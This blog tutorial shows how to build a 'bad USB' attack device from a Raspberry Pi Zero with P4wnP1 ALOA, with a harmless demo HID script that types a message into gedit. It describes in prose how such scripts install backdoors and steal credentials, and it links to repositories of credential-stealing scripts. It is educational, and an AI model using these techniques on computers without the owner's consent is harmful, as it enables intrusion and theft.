&lt;p&gt;The article completely covers the installation, setup, and configuration to convert a Raspberry Pi Zero into a portable hacking device. Once powered, the device will start a custom WiFi endpoint and can be connected to via SSH or HTTP. It offers a CLI and a full-fledged GUI to configure the device behavior when connected to USB. And it can run shell or a custom JavaScript compatible language to initiate keyboard stokes, move the mouse, and access files of the device it is connected too. You will also learn how to combine triggers, startup templates, and HID script for an entry level exploit: When connected via USB to a host system, a text editor will be opened and a message written into it.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The initial idea for this topic was sparked by an excellent article in the German computer magazine CT 2023/27 titled "Bad USB: Raspi Zero". The articles itself cannot be accessed, but only its &lt;a href="https://www.heise.de/select/ct/2023/27/softlinks/yhhf" rel="noopener noreferrer"&gt;link collection&lt;/a&gt; is available on the public internet.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/micro23_rasperry_zero_hacking_device/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Writing about Hacking?
&lt;/h2&gt;

&lt;p&gt;For a long time, I have been thinking about the aspect of writing about hacking. My specific concern is about how knowledge in this area, the concrete concepts and processes, can be used for nefarious activities. On the other hand, knowledge gathered by first-hand experience, and transparent communication about it, can raise the awareness about essential dangers. Ultimately, this is tied to the question of knowledge itself: For which purpose do you use it?&lt;/p&gt;

&lt;p&gt;Physical hacking is the process of connecting an external device to a target computer and starting an exploit. The goals of hacking are manifold, starting from recording interactions that happen at the computer, reading and copying computer files or the computer memory, running user interactions like keystrokes or mouse movements, executing scripts to modify the system or install new applications. An exploit is the concrete process to achieve a goal, and it can be a combination of intended computer behavior (e.g. registering a USB device) with known or new vulnerabilities in a computer system.&lt;/p&gt;

&lt;p&gt;I'm no security consultant, but working in IT, I'm exposed to security topics on a daily basis. Bridging the gap from theoretical knowledge to hands-on experiences while further exploring the amazing Raspberry Pi use cases provided the final nudge to start this blog series. And with this realization, I also feel the need to formulate a disclaimer: This blog content is presented as-is for educational purposes. Only use them on computer systems that you own, and be aware that you can damage the systems.&lt;/p&gt;

&lt;p&gt;Finally, bear in mind that explored concepts in this article are written from a beginner’s mind.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardware Requirements and Assembly
&lt;/h2&gt;

&lt;p&gt;The required hardware for this article is as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Raspberry Pi Zero W (specifically not a Pi Zero W)&lt;/li&gt;
&lt;li&gt;USB Dongle (for example the &lt;a href="https://wiki.52pi.com/index.php?title=EP-0097" rel="noopener noreferrer"&gt;EP-0097&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The USB dongle needs to be assembled to turn the Zero into a USB hacking device. The particular dongle that I acquired did not include a construction manual, but its components seemed manageable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fml89lpey5m03s356rxbz.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fml89lpey5m03s356rxbz.jpg" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, trying to assemble it manually surfaced an embarrassing knowledge gap. Specifically, I thought that the connection pins of the USB dongle need to be connected to the Zeros GPI pins. But no, right next to the Zeros USB ports, external circuit "touchpoints" are exposed - the dongle pins merely need to touch them too.&lt;/p&gt;

&lt;p&gt;To assemble the USB dongle correctly, follow these steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Remove the protection layer from the acryl board&lt;/li&gt;
&lt;li&gt;Put the thinner acryl board to the bottom&lt;/li&gt;
&lt;li&gt;Put the dongle board on top so that the backside of the extruding pins aligns&lt;/li&gt;
&lt;li&gt;Put the thicker acryl board on top, aligning with the pins outward facing direction&lt;/li&gt;
&lt;li&gt;Put the RPI Zero with the bottom side down and align the connector pins with the touchpoints&lt;/li&gt;
&lt;li&gt;Carefully tighten the screws&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The resulting device should look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiodpglatu3sueb2unae3.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiodpglatu3sueb2unae3.jpg" width="800" height="600"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Software Installation &amp;amp; First Boot
&lt;/h2&gt;

&lt;p&gt;To turn the RPI Zero into a hacking device, the Linux Distribution &lt;a href="https://github.com/RoganDawes/P4wnP1_aloa" rel="noopener noreferrer"&gt;P4wnP1 ALOA&lt;/a&gt; - called PPA from here -  will be used. This is a custom Linux distribution, build on top of Kali Linux and specifically modified to run on the RPI Zero. As any other OS, the installation encompasses downloading the image, flashing it onto a SD Card, and booting the device.&lt;/p&gt;

&lt;p&gt;The specific steps in detail:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Go to the &lt;a href="https://github.com/RoganDawes/P4wnP1_aloa" rel="noopener noreferrer"&gt;P4wnP1 ALOA release page&lt;/a&gt; and download the latest version (Note: Don't be discouraged by the release date of February 2020 - the project works very well!)&lt;/li&gt;
&lt;li&gt;Open an image software of your choice, then flash the image (my recommendation is &lt;a href="https://www.balena.io/etcher/" rel="noopener noreferrer"&gt;Balena Etcher&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After this, put the SD Card into the device, and power it via the USB mini port.&lt;/p&gt;

&lt;p&gt;Shortly after booting, PPA creates a custom WiFi with an awkward, UTF8 icon encoded named: "💥 🖥️ 💥". Connect to it with the password &lt;code&gt;MaMe82-P4wnP1&lt;/code&gt;, and once the connection is established, you start exploring the many configuration options.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tool Overview
&lt;/h2&gt;

&lt;p&gt;PPA is a special Linux distribution with flexible and run-time configurable hardware features of the Raspberry Pi Zero. It provides access to this configuration both via the Web GUI and a CLI. After reading the projects extensive documentation and using the tool for some time, the Web GUI provides more features and will be used exclusively in the remainder of this article.&lt;/p&gt;

&lt;p&gt;With an active connection to the hotspot, open &lt;code&gt;http://172.24.0.1:8000&lt;/code&gt; in a browser to access the configuration screen:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7u3e1dt5mkpn2gp24bqc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7u3e1dt5mkpn2gp24bqc.png" width="800" height="550"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Each section in this GUI is a configurable building block of the complete functionality. By learning one section at a time, the overall number of available features becomes clearer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hardware Settings
&lt;/h3&gt;

&lt;p&gt;Most sections in the tool menu directly modify the hardware features.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;USB: In this section, you define the USB properties when the Zero is connected to the targets. Available options start with the ID, serial number and vendor name, and continue with which USB functions the device offers. It can serve as an ethernet adapter, an HID device (keyboard, mouse, custom HID like pointer), as a serial interface, and as USB storage.&lt;/li&gt;
&lt;li&gt;WiFi: You can enable or disable the WiFi, change its SSID and PSK, and define its channel and visibility.&lt;/li&gt;
&lt;li&gt;Bluetooth: The Bluetooth stack provides several configuration options. The basic ones: availability, discoverability, and connectivity. Furthermore, you can configure if other devices are pairable with/without a key. BLE and Blue Toot High Speed are also supported. Lastly, different Bluetooth network encapsulation protocol services are provided: Network Access Point, Portable Area Network, and Group Ad-hoc network.&lt;/li&gt;
&lt;li&gt;Network: In this category, you can configure the concrete network interface settings for the &lt;code&gt;bteth&lt;/code&gt;, &lt;code&gt;usbeth&lt;/code&gt; and &lt;code&gt;wlan0&lt;/code&gt;. For an DHCP server, the IPv4 gateway address, client addresses and netmask, and static hosts. Alternatively, you can also configure interfaces with just static addresses or as clients.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Behavior Programming
&lt;/h3&gt;

&lt;p&gt;To create and manage scripts that are executed when the USB stick is connected to a host, you can use the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Trigger Actions: A combination of an event and a concrete action. For an event, several options exist: system checkpoints during startup (Wifi AP, core services), when an USB gadget connects or disconnects, when an external WiFi AP is joined, values on group channel, and even when a GPIO input is detection. The actions can be to write a log entry, send a value to a group channel, set an output to a GPIO, as well as starting a HID script or bash script. Each trigger action can be set to run only and exactly once, or continuously every time it occurs.&lt;/li&gt;
&lt;li&gt;HID Script: The heart of exploitation scripting. PPA provides a JavaScript compatible language to program complex behavior that runs on the target machines. As provided in the documentation, special attention was given to robust and OS-agnostic keyboard interactions, including keyboard layout, timing of keystrokes, and waiting for keyboard input. Also, the mouse cursor can be controlled, and combining it with the concrete physical dimensions of the target screen, pixel perfect controls can be achieved. Finally, all JavaScript concepts can be used, giving access to functions, loops, complex conditions and much more.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Log and Settings
&lt;/h3&gt;

&lt;p&gt;Two more sections complete the configurability of the PPA device.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Event Log: Shows all on-device stored log messages that PPA created during its usage. Messages are retained and persisted between boots, giving a complete picture how and when it was used.&lt;/li&gt;
&lt;li&gt;Generic Settings: The very last menu item appears a bit misleadingly named - it does not control the overall GUI, but the concrete run- and boot time behavior of PPA. Essentially, the Master Template Editor allows you to select and combine any defined USB, WiFi, Bluetooth, and Network setting, as well as the Trigger actions. With this, you specify the concrete behavior of the PPA, essentially arming the device for its intend purpose. The other options are to restart or shutdown the system, and to create or restore a backup of all user-define settings and modifications.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Writing and activating an HID Exploit
&lt;/h2&gt;

&lt;p&gt;The feature of PPA is extensive, and for a beginner exploring the device features, it might seem daunting to find a good start point. Following the project documentation closely, let’s start with a script that opens a text editor on the host and writes a message. The target OS is Linux Ubuntu.&lt;/p&gt;

&lt;p&gt;In the GUI, open the HID Script tab. The editor features syntax highlighting and remote execution for testing purposes. Paste the following code into the editor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;layout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;de&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// US keyboard layout&lt;/span&gt;
&lt;span class="nf"&gt;typingSpeed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Wait 100ms between key strokes + an additional random value between 0ms and 150ms (natural)&lt;/span&gt;

&lt;span class="c1"&gt;//waitLED(ANY_OR_NONE);  // Wait till NUM LED of target changes frequently multiple times (doesn't work on OSX)&lt;/span&gt;

&lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;press&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;CTRL ALT t&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;gedit&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hello from Raspberry Pi Zero&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you see, the commands relate directly to executing keystrokes on the target machines, enriched by meta-arguments to influence the typing process. The function &lt;code&gt;layout&lt;/code&gt; sets the target keyboard, and the &lt;code&gt;delay&lt;/code&gt; function defines a random time range for each keystroke, making interactions more natural. With &lt;code&gt;waitForLed&lt;/code&gt;, a specific trigger can be added, deferring the script execution until keyboard interaction is detected. This prevents executing the script when e.g. the screen is still locked by the user.&lt;/p&gt;

&lt;p&gt;Now, to run this script, two options exist. If you connected the Raspberry Zero directly to a host system, you could click on "Run". The other option is to actually program this script to be executed when the Raspberry Zero is connected to a computer. For this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Click on "Store" and define a suitable name for the script.&lt;/li&gt;
&lt;li&gt;Select the tab "Trigger Action" and click on "Add one"&lt;/li&gt;
&lt;li&gt;In the dialog, activate the "Enabled" slider, then fill out the trigger "USB gadget connected to host", and in the action field the option "start a HID script" as well as the given script name file (also see the next picture)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhvwx3zcjueoyufhpr7u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhvwx3zcjueoyufhpr7u.png" width="800" height="443"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The final step is to store and activate this trigger definition:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Still on the "Trigger Action" tab, click on "Store" to save all active triggers as a configuration&lt;/li&gt;
&lt;li&gt;Go to on "Generic Settings", and in the "Master Template Editor", select the Trigger Action template that you just stored&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s it. Now you can connect the stick to a Linux host computer and see the script happening.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to Continue
&lt;/h2&gt;

&lt;p&gt;Exploring the depth of HID script to write advanced exploits is not the focus of this article. However, I explored some ideas and give my summary here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/RoganDawes/P4wnP1" rel="noopener noreferrer"&gt;P4wnP1&lt;/a&gt;: The ancestor project. It includes links to videos and presentations showing particular exploits.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/whatotter/pwnhyve" rel="noopener noreferrer"&gt;pwnhyve&lt;/a&gt;: Naming itself as a sibling project, it focuses on bad USB capabilities and the injection of shellcode into target computers.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/lgeekjopt/P4wnP1_aloa/releases/tag/pi_zero2w" rel="noopener noreferrer"&gt;pi_zero2w&lt;/a&gt; Another developer forked the project and created a version that runs on a Raspberry Pi Zero 2 W, but it with fewer Kali Linux tools and no Bluetooth support&lt;/li&gt;
&lt;li&gt;Explore HID Script language: Unfortunately, there is no written document of the language, and digging into the project source code did not reveal an approachable form to me. Considering related rubber duck scripts, the general attack vector is to use HID commands to deploy a base64 decoded scripts for the shell language of the target system (PowerShell for Windows, Bash for Linux), which is then executed to install additional malware or a backdoor.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/V0lk3n/HIDScripts" rel="noopener noreferrer"&gt;HID Script collection&lt;/a&gt;: This repository is the only other source of examples. It contains script that target Windows Systems to steal credentials and password and provides examples both in HID and in Rubber Duck script.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Small form-size single board computer can be used as hacking gadgets. This article showed how to turn a Raspberry Pi Zero into a bad USB device, a specific form of physical hacking in which an inserted USB stick executes command on the host. You only need a Raspberry Pi Zero, an USB dongle to expose the Zeros USB ports, and the PPA Linux Image. Once the initial setup is completed, the Zero turns into a WiFi and SSH accessible device with complex configuration options for all hardware features. To write a bad USB exploit, the HID language, based on JavaScript, can be used to instruct a sequence of keystrokes. This article showed only a simple exploit: Opening the systems text editor to write a message. Yet the potential for serious exploits becomes visible: By executing shell scripts on the targets, access to the system can be achieved, stealing credentials or installing malware and backdoors.&lt;/p&gt;

</description>
      <category>raspberrypi</category>
      <category>raspberryzero</category>
    </item>
  </channel>
</rss>
